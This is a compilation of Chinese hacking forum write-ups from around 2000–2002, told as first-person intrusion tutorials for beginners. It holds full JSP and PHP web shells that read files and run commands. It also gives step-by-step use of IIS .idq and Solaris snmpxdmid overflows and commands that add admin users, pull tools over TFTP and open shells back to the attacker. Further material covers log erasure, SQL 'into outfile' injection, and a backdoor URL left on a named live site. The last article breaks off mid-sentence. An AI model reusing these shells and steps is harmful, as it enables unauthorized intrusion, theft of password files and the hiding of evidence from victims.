我获得了运行的WEBServer的名称“Tomcat 3.1”。我记得我曾经发现过这个版本的漏洞，并且post到bugtrap上去过。
大概是：通过“..”技术可以退出WEB目录，于是：
http://target:8080/../../../../%00.jsp （不行）
http://target:8080/file/index.jsp （不行）
http://target:8080/index.JSP （不行）
http://target:8080/index.jsp%81 （不行）
http://target:8080/index.js%70 （不行）
http://target:8080/index.jsp%2581 （不行）
http://target:8080/WEB-INF/ （不行）
嗯，在试试吧！Tomcat 3.1自带了一个管理工具，可以查看WEB下的目录及文件，并且可以添加context.试一下：http://target:8080/admin/
管理员果然没有删除或禁止访问这个目录：-（失误！！！！！
接着我点“VIEW ALL CONTEXT”按钮，列出了WEB目录下的一些文件和目录的名称，我开始仔细的看了起来，一小会儿，发现了一个上传文件的组件，嘿嘿，写一个jsp文件弄上去看看。
几口咖啡的时间，我写了这么一个东东出来：
<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>
通过上传的组件将这个jsp上传到对方的WEB目录里，然后：
http://target:8080/upload/test.jsp?file=/etc/passwd
嘿嘿，密码出来啦。我只看了“/etc/passwd”，并没有看“/etc/shadow”，因为当时考虑webserver一般使用nobody的身份启动的，看了也白看。（失误）
接下来的过程是无聊的猜测密码，没有成功。算了，那我只有将就点，反正现在我相当于有了一个shell了嘛，猜不出密码上去，那就全当IE是我的SHELL环境吧！
再写：
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
然后把这个jsp又通过upload上传了上去，嘿嘿，我现在有个SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
（我这里就不列出来了）
怎么获得root呢？经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了mysql的密码：）看看是什么权限运行的mysql：
http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld
显示：
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
嘿嘿，有办法了，系统是以root身份运行的mysql，同时我知道了mysql的密码，那我现在我可以写一个shell程序，让它create一个表，然后将我的数据放到表中，然后再使用"select ... into outfile;"的办法在系统上创建一个文件，让用户在执行su的时候，运行我的程序。（还记得apache.org有一次被入侵吗？hacker就采用的这种办法）。
然后，我再上传bindshell之类的程序，运行、获得nobody的权限，然后......再使用su root时帮忙创建的setuid shell让自己成为root.
嘿嘿，真是好办法，我都为我的想法感到得意......

接下去的事情，差点没让我吐血：
我敲了一个:http://target:8080/upload/cmd.jsp?cmd=id
显示：
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
kao,我的这个WEB SHELL本来就是ROOT，真是服了那个管理员，也服了自己。竟然折腾了这么半天，哎！
http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份运行的（不列出来了）

剩下来的事情：
1、删除我的telnet记录。
2、删除http的日志。
至于清除日志嘛，我使用的办法是：cat xxx |grep -V "IP" >>temp然后在把temp覆盖那些被我修改过的日志文件。
我没有更换他的页面，因为我本身也就不是什么黑客啦，更不是红客，只是个网络安全爱好者而已。所以，发封邮件告诉system admin吧！
当然，我顺便在信中提到，如果需要安盟信息科技为他提供安全服务的话，我们会非常的高兴！

版权所有：中国网络安全技术联盟
Copyright?www.cn-nsl.com,2000
转载请注明出处
jonak@cn-nsl.com


菜鸟经典图文教程

今天在家里坐了一天,实在无聊,想起了.好几天没有去论坛了,该给大家带点好东西去啊!于是拿出流光,准备给大家写一张图文并茂的教程..写的不好别怪我! 好了我们开始吧~
随便找了一个台湾的站点,得到IP 接着用流光的高级扫描个地址!好了趁还没有结果.抽根烟!!
一根烟的功夫,结果出来了!

我们来看一下,哦好,SunOS5.7 哈哈,我最喜欢的鸡!!!不知道你们喜欢不喜欢，记得他有一个snmpxdmid的溢出..对了,攻击代码就在流光的exploit文件夹里,找一下.哦,找到了.代码我就不粘上来了,你们自己找..叫snmpxdmid.c 把它用记事本打开复制下来!下面我要登上我的肉鸡了.因为攻击代码要编译后才能使用..telnet xxx.xxx.xxx.xxx如下图:
好了我们要用他来编译程序,才能供我们使用..先把代码复制上去!用这个命令:cat >snmpxdmid.c 创建一个文件然后回车!!!

注意,这个时候光标会停在下一行里让你输入文件的内容..刚才我们不是复制下来了吗.现在直接在这一行里面点右键.那么代码就被写上去了!就像这样:

最后用ctrl+D 把文件保存起来!我们来看一下,文件是不是已经建立好了!看到了没有,我圈出来了!

下面编译它,用命令gcc -o snmpxdmid snmpxdmid.c 编译成功后可以生成一个可执行的文件

看到了吗,绿色的那个就是我们所要的东西..不要告诉我你看不到,,那你去看医生吧.色盲!!!现在我们就要来上对方溢出了,哦,老天保佑我成功吧!!!
先看一下说明,不然不会用就完了!输入: ./snmpxdmid 出来了!看一下怎么用!

上面的address就是对方主机的意思!!也就是写对方IP的地方!后面的7和8是对方的系统我们这里对方是SunSO5.7 所以我们选7 好了一起来吧!

溢出成功!!!!!!!!!!!!!看到了没有id uid=0(root) gid=0(root) 哈哈管理员!!!!!下面干什么就随你了! 加用户,安后门..或者来个更狠的!
注意,那上面的id是我输入的,,只要出现SunOS ssp 5.7 Generic_106541-10 sun4u sparc SUNW,Ultra-5_10就说明溢出成功,你自己打id看看是
不是root 还有就是这个溢出只能用一次.要想让它再次溢出,,必得等到对方重启以后!!!!!好了我也打累了!!!!!!你们试试吧!

元素
QQ:38426794
中国蓝客联盟技术部
http://www.cnlanker.net/


一次入侵的思路和利用代理突破网关

wawa发贴

一台win2000server主机,打了pack2,
有.ida漏洞,可以远程溢出,
但由于主机的一些设置
不能直接得到cmdshell,
成功入侵结果:得到localsystem权限的shell,并能用此主机侵入内网的其他2K主机.
因为是台国内的主机,不好公布IP,
有兴趣请在QQ上问我.

wawa跟贴

当时玩这台主机,觉得并没有什么复杂的技术问题,只是挺麻烦的,
从中可以学到在遇到问题时如何清晰自己的思路,找到解决方法.

我找到这台主机时,他只开了21.25.80.139等几个端口
我就按常规:
letmein \\IPADD -all -g
不行,我想:噢,做了安全配置,不允许枚举(错的)
算了,扫描80吧!21.25我没本事搞.
用xscan扫了一圈
发现
.idq漏洞
我想这还不简单,开始搞:
用溢出工具试了系统没装PACK,或装了PACK1
都失败了.那就试PACK2
idahack IPADD 80 0
哈哈,成功了.
对方主机已溢出,
那我就:
telnet ipadd 99
奇怪,屏幕一闪而过,断开了连接.
靠.
再试一次.
还是如此

晕了,思考:主机设置了安全策略,不允许从网络访问连接(也错了)
但这时,我对此主机已经有了浓厚的兴趣,好玩啊!
想到的办法:你有80端口,我也可以溢出
那我就可以不连接执行命令啊
用iisidq吧.(可怜,只会用别人的东西,自己也要写)
iisidq有命令行和图形界面的两个版本
开始
在本机开个NC监听(你不让我连你,我就让你来连我.这样就知道命令是否成功)
nc -vv -l -p 813
好了,
溢出对方主机,溢出后连接到我主机的813端口返回信息,
绑定命令net user aaa Aa1234-- /add
(密码写长点是害怕对方配置了密码策略,带来麻烦.)
成功溢出,本机NC监听来自对方的信息"命令成功完成"
哈哈哈,开心!!!
再来,溢出不了了,
(这是因为溢出可以让IIS暂时DDOS,也是这个原因,耽误了好长时间)
过会再试 命令 net localgroup administrators aaa /add
成功!!
这样,我已经在对方主机加了个admin组的用户aaa.
接下来大家都会知道了:
net use z: \\ipadd\C$ "Aa1234--" /user:"aaa"
又有问题
"远程计算机不可用"
TMD!!!
现在明白了:远程主机的tcp/ip协议未绑定netbios,那连个P啊!

再思考:
不能建立NB连接,也不能溢出后连接99端口,那可不可以打开对方的telnet连接23呢?
再来:
NC监听,
IISIDQ绑定命令net start telnet,然后溢出
成功! 对方开了23
再在自己的机器上建立AAA用户,密码:Aa1234--,用此用户开个CMD_windows
(这是干什么详见.abu.的文章"最快速登陆2000telnet")
然后 telnet IPADD
失败!! 不是验证引起的问题)
(对我这菜鸟来讲,这已经很头痛了.)

接着思考:我可以利用溢出绑定命令那我就可以用TFTP上传文件啊?
你有开了80,我给你搞个ASP的木马总可以访问吧!
(具体过程略,重复的步骤)
用IISIDQ绑定tftp -i yourADD get filesname
(这其中利用溢出绑定命令的办法得到了对方系统的一些信息.)

我在这个过程中成功的方法还有,上传了个"蓝色火焰"
因为想他可以已HTTP的方式连接,成功了.

最终让我得到CMDSHELL的是winshell2.0
我将winshell上传后.
用iisidq绑定at命令执行的
我成功的得到了CMDshell,也可以成功连接,对方主机也不断开.

然后就简单了,扫描内网,找找里面的机器
看看有什么好玩的,
(顺便提一下,其实snake的sksocks跳板,不要只用来上个QQ,当个跳板什么的,
想想看:把他装到网关上,远程连上来,扫描内网IP段,接着....)
最后,擦干净PP离开.

这台主机离我比较近,在那次以后我也没再去研究
我想99,23连不上的原因有可能是主机做了端口过滤
但不对,
我用winshell开个99端口,同样可以连上.
又想是不是winshell的shellcode和别的溢出程序的不一样
这个问题我就不知道了,也没去问janker.
那位知道请告诉我,谢谢~
匆忙之中写的很乱,也不太清楚,见谅!

wawa跟贴

sock5的这个用法,我觉得有必要再说一下,
像上面那台主机,我在3399做了sock5,
大家按一下得方法试一下,增加点印象:
正确得设置跳板GUI,
设置socksCAP,在CAP得设置中将分析命名设置为远程
运行superscan.exe(运行程序都在CAP内运行)
将连接和读取超时设为6000(我56K.慢,具体你可以自己试)
将"仅扫描可PING得主机"的勾去掉.
然后扫描192.168.0.250,这是内网一台文件服务器.2000server
会发现开了21.80.139.445.1025等端口
你在打开IE,输入http://192.168.0.250
看到什么? "此站正在建立......"
还可以干什么?
用一切你想的到的工具干你想做的事(此话严重了,有些也不行,但有太多的可以了)
现在你明白了吧,用SOCKS就可以突破网关限制,轻松扫描内网
比用别的端口转发工具容易太多也灵活很多(如:fpipe)
也给网管提个醒,网关的安全太重要了.


刺探idq

某天晚上某网吧，我正和qq里一个喜欢hacking的妹妹(菜菜鸟)讨论一些电脑方面的技术(呵~
泡妞，工作两不误，不要学我哦！)
突然，妹妹说，叫我看看他们学校的主机，有什么问题。
哎~~~，美女都开了金口，我当然也就不能拒绝啦。
go~~~~~~~~目标ip：61.x.x.x
先看了看页面，用了asp脚本。做的好难，空洞的内容，没意思。不看了~:P
登陆肉鸡
telnet x.x.x.x 8000
pass:******
WinShell v4.0
(C)2001 by janker
http://www.bugsos.com

? for help
CMD>s
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

c:\winnt\system32>
c:\winnt\system32>fscan -b -p 1-4000 61.x.x.x

这里，说说fscan1.14这个工具，大小13.0kb。只能在行命令下使用，支持tcp，udp端口的扫描，
速度和superscan3.0不相上下，功能也比superscan3.0多。
可以到http://www.foundstone.com找到。

FScan v1.14 - Command line port scanner.
Copyright 2002 (c) by Foundstone, Inc.
http://www.foundstone.com

Scan started at Sat Jun XX 11:04:16 2002
61.x.x.x 25/tcp
61.x.x.x 53/tcp
61.x.x.x 80/tcp
HTTP/1.1 302 Object moved..Server: Microsoft-IIS/5.0..Date
61.x.x.x 110/tcp
61.x.x.x 443/tcp
大概知道，web是iis5.0,对方的系统很可能是win2k。有放火墙或者是做了端口过滤。
顺便说下，win2k默认是要开135，139，445。要是server版本，还要开3372。
25，53，110，443没什么好利用的，只有看看80端口了。
先ping看看，
c:\winnt\system32>ping 61.x.x.x
c:\winnt\system32>ping 61.x.x.x
通了，没关icmp。呵~
Pinging 61.x.x.x with 32 bytes of data:

Reply from 61.x.x.x: bytes=32 time=202ms TTL=62
Reply from 61.x.x.x: bytes=32 time=156ms TTL=62
Reply from 61.x.x.x: bytes=32 time=514ms TTL=62
Reply from 61.x.x.x: bytes=32 time=145ms TTL=62

#@%$^&*...................
呵~，可能吃过苦头了，管理员改了ttl值。
提一下改ttl的方法：
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"DefaultTTL"=dword:000000ff

255---FF
128---80
64----40
32----20
总结一下：对方系统win2k，具体版本，未知。web服务器iis5.0。做了端口过滤。
看看80端口有没有idq。这个算比较新的。
c:\winnt\system32>sfind.exe -idq 61.x.x.x

=========SFind command line super tools version 1.85=========
========By Sunw 1999-2001. http://sw_sun.myetang.com=========

Please wait 1 Thread end.....
61.x.x.x find .idq hole
1 Host search complete. Find 1 hole!
好快，没用到3秒钟，可能有idq远程益出。
c:\winnt\system32>type sfind.txt
type sfind.txt
COMMAND: sfind.exe -idq 61.x.x.x
61.x.x.x find .idq hole
COMMAND OVER.
c:\winnt\system32>del sfind.txt
del sfind.txt
不留痕迹。
c:\winnt\system32>exit
换到3389肉鸡，呵，安全第一啊，切记！
用客户端连上，好象这个是废话，咯。
等了半天，重算出了登陆对话框，慢死了，妈~~D.
填上帐号和密码，点确定。又是废话。
进了，开了个cmd。
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

c:\tsadmin
先看看情况。
呵呵，就自己一个人。
c:\change logon /disable
就让我一个人安静点。
c:\cd %windir%\system32
c:\winnt\system32\idahack 61.x.x.x 80 3 80
index server 2 overflow. writen by sunx
http://www.sunx.org
for test only, dont used to hack, :p

connecting...
sending...
checking...
Now you can telnet to 80 port
good luck :)

提示成功了。
c:\winnt\system32\telnet 61.x.x.x 80
看看，
cmd只有一个光标，等了下，没任何反应，瞧了几下回车，没反应。!@#$%^&..............
看样没成功！用肉鸡的ie说打开哪个ip看看，等了半天没反应，呵~~，给拒绝服务了。
总的来说，失败~~！先下来在说。打扫了卫生，注销退了。
到qq上问鸟妹妹，她说她打不开了，哎，只有等服务器重新启动了后，在看了。
真不知道，为什么不能成功，我的个人理解是，可能和系统配置有关系。由于有放火墙，端口做了限制
只能绑定服务器打开的端口，telnet 它的80，由于没得到shell，又没正常的exit。就把iis给当掉了
上面是个人理解，难免会有错漏，如果，你看到这里你知道是为什么，请不舍告诉我。
有点不甘心。再上3389肉鸡。
c:\winnt\system32\sfind.exe -idq 61.x.x.1-61.x.x.254
来点范围大的。
等``````````````````
出来一大堆。倒~
随便选了个。
c:\winnt\system32\fscan -b -p 1-4000 61.x.x.x

FScan v1.14 - Command line port scanner.
Copyright 2002 (c) by Foundstone, Inc.
http://www.foundstone.com

Scan started at Sat Jun XX 12:01:12 2002

61.x.x.x 80/tcp
HTTP/1.1 302 Object moved..Server: Microsoft-IIS/5.0..Date
晕，我到霉，又是有放火墙的。5~~~~~~~~~~~~~~~~~。
在qq里给鸟妹妹，说了下这个ip的情况。她说，这个ip被搞过好几次了。
我真的是太倒霉了，哎........。
先看看是个什么样的网站，用肉鸡ie打开看了看，没意思！
猜猜默认首页的名字
http://61.x.x.x/index.htm
出来了，运气真好，一次就猜中了。
在看看log图片的名字，logo.gif。
试试最后的机会
c:\winnt\system32\idahack 61.x.x.x 80 3 80
呵呵，老办法
提示成功了
c:\winnt\system32\telnet 61.x.x.x 80
嘻嘻~出来了,得到了一个system的shell。

http://www.sunx.org

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

c:\WINNT\system32>
刚刚哪个为什么没成功,想不通。
先看看有那些盘
c:\WINNT\system32>d:
d:
d:>e:
e:
e:>f:
f:
f:>g:
系统找不到指定的驱动器。
没有了。c d e f
四个盘
f:>dir logo.gif /s
看wwwroot在那，等了一小会。

f:\inetpub\wwwroot 的目录

2002-xx-xx xx:xx 2,768 logo.gif
1 个文件 2,768 字节
运气真的很重要，就一次找到了
f:>cd interpub\wwwroot
f:\interpub\wwwroot\>dir *.*
看看有什么东西，在里面
很多。
有这个，我比较干兴趣，index.htm
本来说利用ftp脚本的办法，下个cmdasp.asp放进去。由于ftp空间里没cmdasp.asp
也就放弃了。
想这样的机器，长期控制几乎不可能。
这样走了，真不甘心。总要提醒一下管理员，才对啊？
f:\interpub\wwwroot\>del index.htm
直接删了，呵~~~~(这个，大家不要学我)
我想，他因该有backup。
因为是益出，日志是清不掉了。
f:\interpub\wwwroot\exit
走人。
再打扫肉鸡上的卫生，这个重要~！
然后，和我的鸟妹妹道个了别。
该休息了....................

使用iis5.0，如果没配置好，使用起来是非常不安全的，毕竟作为web服务器，不管怎么说
总要开80这个端口。像idq这样的漏洞，也不是什么最新漏洞。一堆一堆的。很多。
如何消除漏洞，在主目录-配置-应用程序映射-
如果，你没什么特殊用途，一般只留两个asp和asa。其余的全删，并打好补丁。
本文，没什么技术性的东西，只是写了我的一点经验。见笑了........

沉睡不醒 2002/05/08
home:http://sss444.126.com
mail:luandao@21cn.net


攻击http://www.ftp-broker.com全攻略

攻击http://www.ftp-broker.com全攻略

by SHADOW
http://netsafety.51.net

今天在再次浏览Transoft Broker .lnk目录遍历漏洞的时候。突然冒出想试一下这个漏洞
的念头。于是用流光扫出了N的IP。试了每一个IP的FTP都不是那个。于
------------------------------------------------------------------------
厂商补丁：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本：
http://www.ftp-broker.com/

------------------------------------------------------------------------
所性就试他吧。
我先PING了一下。
C:\>ping http://www.ftp-broker.com/

Pinging ftp-broker.com [194.144.203.10] with 32 bytes of data:

Reply from 194.144.203.10: bytes=32 time=441ms TTL=106
Reply from 194.144.203.10: bytes=32 time=450ms TTL=106
Reply from 194.144.203.10: bytes=32 time=421ms TTL=106
Reply from 194.144.203.10: bytes=32 time=420ms TTL=106

Ping statistics for 194.144.203.10:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 420ms, Maximum = 450ms, Average = 433ms

NT的机子，这个不说也知道。没有防火墙。
于是又简单的扫了一下。
发现：
PORT-> 主机 194.144.203.10 端口 0080 ...开放
PORT-> 主机 194.144.203.10 端口 0021 ...开放
PORT-> 主机 194.144.203.10 端口 0110 ...开放
PORT-> 主机 194.144.203.10 端口 0079 ...开放
PORT-> 主机 194.144.203.10 端口 0443 ...开放
IIS-> 主机 194.144.203.10 IIS检测 FrontPage 扩展默认权限错误 ...成功
PORT-> 主机 194.144.203.10 端口 1433 ...开放
PORT-> 主机 194.144.203.10 端口 1433 ...开放

服务还真多呀。
IIS-> 主机 194.144.203.10 IIS检测 FrontPage 扩展默认权限错误 ...成功
比较重要。

来网络邻居上。

添加网络邻居=>输入http://194.144.203.10/=>完成

进去了。看见他有几个目录，没有大用。先上传一个ASP木马。OK，上传成功。
在IE上输入http://194.144.203.10/cmd.asp（cmd.asp是ASP木马，在红客有的下。）出现了
命令表单。输入dir c:\再点RUN。
出现如下内容：

Volume in drive C has no label.
Volume Serial Number is F059-16D9

Directory of c:\

12.08.00 16:48 <DIR> Alixoft
09.06.99 05:44 0 AUTOEXEC.BAT
25.10.00 11:21 <DIR> Backup
09.06.99 05:44 0 CONFIG.SYS
17.12.00 14:54 11.460 debug.txt
09.03.01 15:09 5.119.704 ftpctrl.exe
09.06.99 15:12 <DIR> InetPub
10.05.01 20:47 0 LogTCP.txt
07.10.99 15:26 <DIR> MSSQL7
09.06.99 14:56 <DIR> Multimedia Files
10.06.99 11:55 <DIR> Netdir
08.07.01 22:47 268.435.456 pagefile.sys
27.06.01 12:45 <DIR> Program Files
14.07.01 08:24 0 rad442B1.tmp
14.07.01 11:56 0 radD4EFA.tmp
15.12.99 12:41 602 skilabod.txt
22.10.00 21:23 0 SQL.LOG
13.07.01 10:28 <DIR> TEMP
01.07.00 11:20 <DIR> web
14.07.01 11:42 <DIR> WINNT
10.05.01 20:46 184.504 winzip.log
21 File(s) 273.751.726 bytes
520.518.656 bytes free

这就已经成功了一半。

接着上传NCX99。上传成功。用那个ASP木马激活就可以了。但是所在的WEB目录在哪里呢？这
怎么办。别急呀。凭着经验来说一般放在C:\InetPub\wwwroot\里面于是用那个ASP木马输入
：dir c:\InetPub\wwwroot\

反回：

Volume in drive C has no label.
Volume Serial Number is F059-16D9

Directory of c:\inetpub\wwwroot

07.10.99 15:32 <DIR> .
07.10.99 15:32 <DIR> ..
09.06.99 15:19 <DIR> cgi-bin
10.06.99 09:56 192 Default.htm
09.06.99 15:19 <DIR> images
09.06.99 15:25 <DIR> Phone Book Service
09.06.99 15:19 2.504 postinfo.html
10.06.99 09:56 <DIR> samples
09.06.99 15:19 <DIR> _private
13.03.00 14:06 1.759 _vti_inf.html
10 File(s) 4.455 bytes
520.522.752 bytes free

没有。不会吧那放在哪里了。看看那个WEB没有。又找了几个看着像的目录。也没有。不会吧
。他放在哪里了。大家别急。这我也有办法。
还是用那个ASP木马。输入dir c:\ncx99.exe /a /s
出现：
Volume in drive C has no label.
Volume Serial Number is F059-16D9

C盘是没有了。再输入dir d:\ncx99.exe /a /s
出现：

Volume in drive D is mall
Volume Serial Number is 7C5F-AB28

Directory of D:\Control\www\root

14.07.01 08:11 59.392 ncx99.exe
1 File(s) 59.392 bytes

Directory of D:\Control\www\root\_vti_cnf

14.07.01 08:11 206 ncx99.exe
1 File(s) 206 bytes

Total Files Listed:
2 File(s) 59.598 bytes
588.236.800 bytes free

对就是这个目录。D:\Control\www\root
再输入：dir D:\Control\www\root
出现：
Volume in drive D is mall
Volume Serial Number is 7C5F-AB28

Directory of D:\Control\www\root

14.07.01 09:24 <DIR> .
14.07.01 09:24 <DIR> ..
25.10.00 13:02 <DIR> cgibin
25.10.00 13:08 877 default.htm
25.10.00 13:02 <DIR> images
14.07.01 08:10 1.276 cmd.asp
14.07.01 08:11 59.392 ncx99.exe
04.09.00 10:38 2.506 postinfo.html
25.10.00 13:02 <DIR> templates
04.09.00 10:52 <DIR> text
14.07.01 08:31 <DIR> _private
04.09.00 10:39 1.759 _vti_inf.html
25.10.00 13:01 <DIR> _vti_log
19 File(s) 102.755 bytes
588.236.800 bytes free

NCX99和ASP木马都在，再用那个ASP木马激活NCX99。
输入：D:\Control\www\root\ncx99.exe
打开一个DOS窗口输入：telnet 194.144.203.10 99

Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.

C:\WINNT\system32>

YES,进来了。

C:\WINNT\system32>cd \

C:\>dir

Volume in drive C has no label.
Volume Serial Number is F059-16D9

Directory of C:\

12.08.00 16:48 <DIR> Alixoft
09.06.99 05:44 0 AUTOEXEC.BAT
25.10.00 11:21 <DIR> Backup
09.06.99 05:44 0 CONFIG.SYS
17.12.00 14:54 11.460 debug.txt
09.03.01 15:09 5.119.704 ftpctrl.exe
09.06.99 15:12 <DIR> InetPub
10.05.01 20:47 0 LogTCP.txt
07.10.99 15:26 <DIR> MSSQL7
09.06.99 14:56 <DIR> Multimedia Files
10.06.99 11:55 <DIR> Netdir
08.07.01 22:47 268.435.456 pagefile.sys
27.06.01 12:45 <DIR> Program Files
14.07.01 08:24 0 rad442B1.tmp
14.07.01 12:09 0 radBDADB.tmp
15.12.99 12:41 602 skilabod.txt
22.10.00 21:23 0 SQL.LOG
13.07.01 10:28 <DIR> TEMP
01.07.00 11:20 <DIR> web
14.07.01 11:57 <DIR> WINNT
10.05.01 20:46 184.504 winzip.log
21 File(s) 273.751.726 bytes
520.523.776 bytes free

看到C：\了。

第一个应该想到的就是。

C:\>net user shadow shadow /add
System error 1312 has occurred.

A specified logon session does not exist. It may already have
been terminated.
加一个用户进去。但是没有成功。
算了。还是想其他的方法吧。

这个时候突然想到我刚才看到的Transoft Broker .lnk目录遍历漏洞。对就用他。
自己在自己的机子上先建一个快捷方式。建一个C：\的快捷方式。名字为system32
接下来试一下那台主机的FTP。

再打开一个DOS窗口输入：
ftp 194.144.203.10
anonymous就可以进来。
但是没有上载权呀。怎么办呢。
用那个TELNET上去的COPY过来吧。
OK过来了。
接下来还是用IE打开那个FTP窗吧。
只见有两个目录，其中一个是那个LNK。又击进去成功。到了C：盘。但是因为是由anonymou
s进来的没有上载权呀。但是这已经成功一大半了。
可以下载东西了。二话不说先把SAM当下来。一会下来再解吧。

现在开始找http://www.ftp-broker.com/所在的目录吧。
在IE里输入网址后在地址栏出现：http://www.ftp-broker.com/cgibin/PageExe.exe?H=399
9+&C=1&P=1
好办了。只要找到那个PageExe.exe在哪里就好办了。还是用dir c:PageExe.exe /a /s
结果在D盘的一个目录里找到了，接下来不多说了。自己干吧。

在我写这文章的时候。那个网已经关掉了他的FTP。也DEL我中的木马。但是还有一个我中的
后门他们没有发现。就是
http://www.ftp-broker.com/cgibin/info.exe?/c+dir+c:\
大家自己玩吧。
我写这篇文章不是为了别的。想说一句。攻击网站有多种的方法。也要动脑去想。
写给新手看的。绿盟的大哥们就算了。
SHADOW所作。注意如果转载请保持文章完整。谢谢。
有空请大家来我的主页坐坐。http://netsafety.51.net


关于www.apache.org被入侵的联想

作者：雾中鸟
通过网浪的一篇《某"灰帽子"hacker修改 www.apache.org 主页的经过自述》的讲述，让更多人知道网络是一个极不平静的世界。
总所周知，Apache web server是全球使用最广泛的Web Server软件之一，在很多调查中反映，Apache web server比Microsoft公司的Internet
    Information Server（IIS）都具有较高的安全性能，不过如果你看过上面一篇文章你就可以发现，由于配置的缺陷就会产生很大的漏洞。
文章提到，在匿名ftp://ftp.apache.org中存在一个映射存在执行的权限，然而apache常用的是php脚本，通过编写一个php的一个木马，就可以得到系统的root，代码如下：
<title>PHP Shell</title>
</head>
<body>
<h1>PHP Shell</h1>
<?php
/* First we check if there has been asked for a working directory. */
if (isset($work_dir)) {/* A workdir has been asked for - we chdir to that
    dir. */
chdir($work_dir);
$work_dir = exec("pwd");
}
else {/* No work_dir - we chdir to $DOCUMENT_ROOT */
chdir($DOCUMENT_ROOT);
$work_dir = $DOCUMENT_ROOT;
}
?>
<form name="myform" action="<?php echo $PHP_SELF ?>"
    method="post">
<p>Current working directory: <b>
<?php
$work_dir_splitted = explode("/", substr($work_dir, 1));
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) .
    "/&command=" . urlencode($command) . "\">Root</a>/";
if ($work_dir_splitted[0] == "")
{
$work_dir = "/"; /* Root directory. */
}
else {
for ($i = 0; $i < count($work_dir_splitted); $i++)
{
/* echo "i = $i";*/
$url .= "/".$work_dir_splitted[$i];
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) .
    "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/";
}
}
?>
</b>
</p>
<p>Choose new working directory:</p>
<select name="work_dir" onChange="this.form.submit()">
<?php/* Now we make a list of the directories. */
$dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */
while ($dir = readdir($dir_handle))
{
if (is_dir($dir))
{
if ($dir == ".")
{
echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
}
elseif ($dir == "..")
{
/* We have found the parent dir. We must be carefull if the parent
directory is the root directory (/). */

if (strlen($work_dir) == 1)
{
/* work_dir is only 1 charecter - it can only be / */
}
elseif (strrpos($work_dir, "/") == 0)
{
/* The last / in work_dir were the first charecter.
This means that we have a top-level directory
eg. /bin or /home etc... */

echo "<option value=\"/\">Parent
  Directory</option>\n";
}
else {
/* We do a little bit of string-manipulation to find the parent
directory... Trust me - it works :-) */

echo "<option value=\"". strrev(substr(strstr(strrev($work_dir),
  "/"), 1)) ."\">Parent Directory</option>\n";
}
}
else {
if ($work_dir == "/")
{
echo "<option value=\"$work_dir$dir\">$dir</option>\n";
}
else {
echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
}
}
}
}
closedir($dir_handle);
?>
</select>
<p>Command:</p>
<input type="text" name="command" size="60"
  <?php if ($command) { echo "value=\"$command\"";} ?>
  >
<input name="submit_btn" type="submit" value="Execute
  Command"></p>
<p>Enable <code>stderr</code>-trapping? <input type="checkbox"
  name="stderr"></p>
<p>Output:</p>
<textarea cols="80" rows="20" readonly>
<?php
if ($command) {
if ($stderr) {
system($command . " 1> /tmp/output.txt 2>&1;
cat /tmp/output.txt; rm /tmp/output.txt");
}
else {
system($command);
}
}
?>
</textarea>
</form>
<hr>
<i>Copyright ? 2000, <a
href="mailto:gimpster@gimpster.com">Martin Geisler</a>. Get
  the latest
version at <a href="http://www.gimpster.com">www.gimpster.com</a>.</i>
</body>
</html>
这样就可以得到如下的结果（为了方便使用word，此程序是在apache 1.3.23+php-4.0.4调试）：

由此可知，一个简单的错误配置，就可以造成很大的灾害！同样，这也是很多用户面临的问题。关于本文的具体内容，请参阅《某"灰帽子"hacker修改 www.apache.org 主页的经过自述》。


很简单的攻击 - 314被黑全过程

原创：atp（Big Mouse）
来源：wuxinan@wuxinan.net

314被黑全过程
漏洞在文件上传的功能
本来没打算要黑的，但是因为他们开了FTP服务器，而其中一个用户的密码我又刚好知
道，所以就把他们主页上论坛的代码偷出来看了一下，mySQL的处理不很严密，$id之类
的变量都没有加引号，普通的字符串加了引号但是没有用mysql_escape_string处理，
我一开始就朝这个方向努力。有一个地方是这样写的：

$result=mysql_query("select * from article
    where flag='' and id="
.$father,$db);

我在一片id是347贴子里面写了个PHP，然后我post了这么一个father:
347 into outfile 'f:/htdocs/cmd.php'
这样就能把贴子的内容写到php里面。注意，我熟悉他们的文件系统，web文件在
"f:\htdocs\"下面我事先是知道的。
但是没有成功，我开始以为是mysql把文件的权限去掉了，过了一会儿才想起来一定是
他们的php.ini里面设置了
magic_quotes_gpc=On
这样引号到了php脚本里面就自动加上了反斜杠，这么基本的概念我忘了，惭愧惭愧

于是我认为他们的论坛是无懈可击的，但是后来我注意到论坛上的一个上传的功能。我
试了一下，禁止了.php的上传，我觉得没有漏洞，但是出于好奇，我把它处理上传的
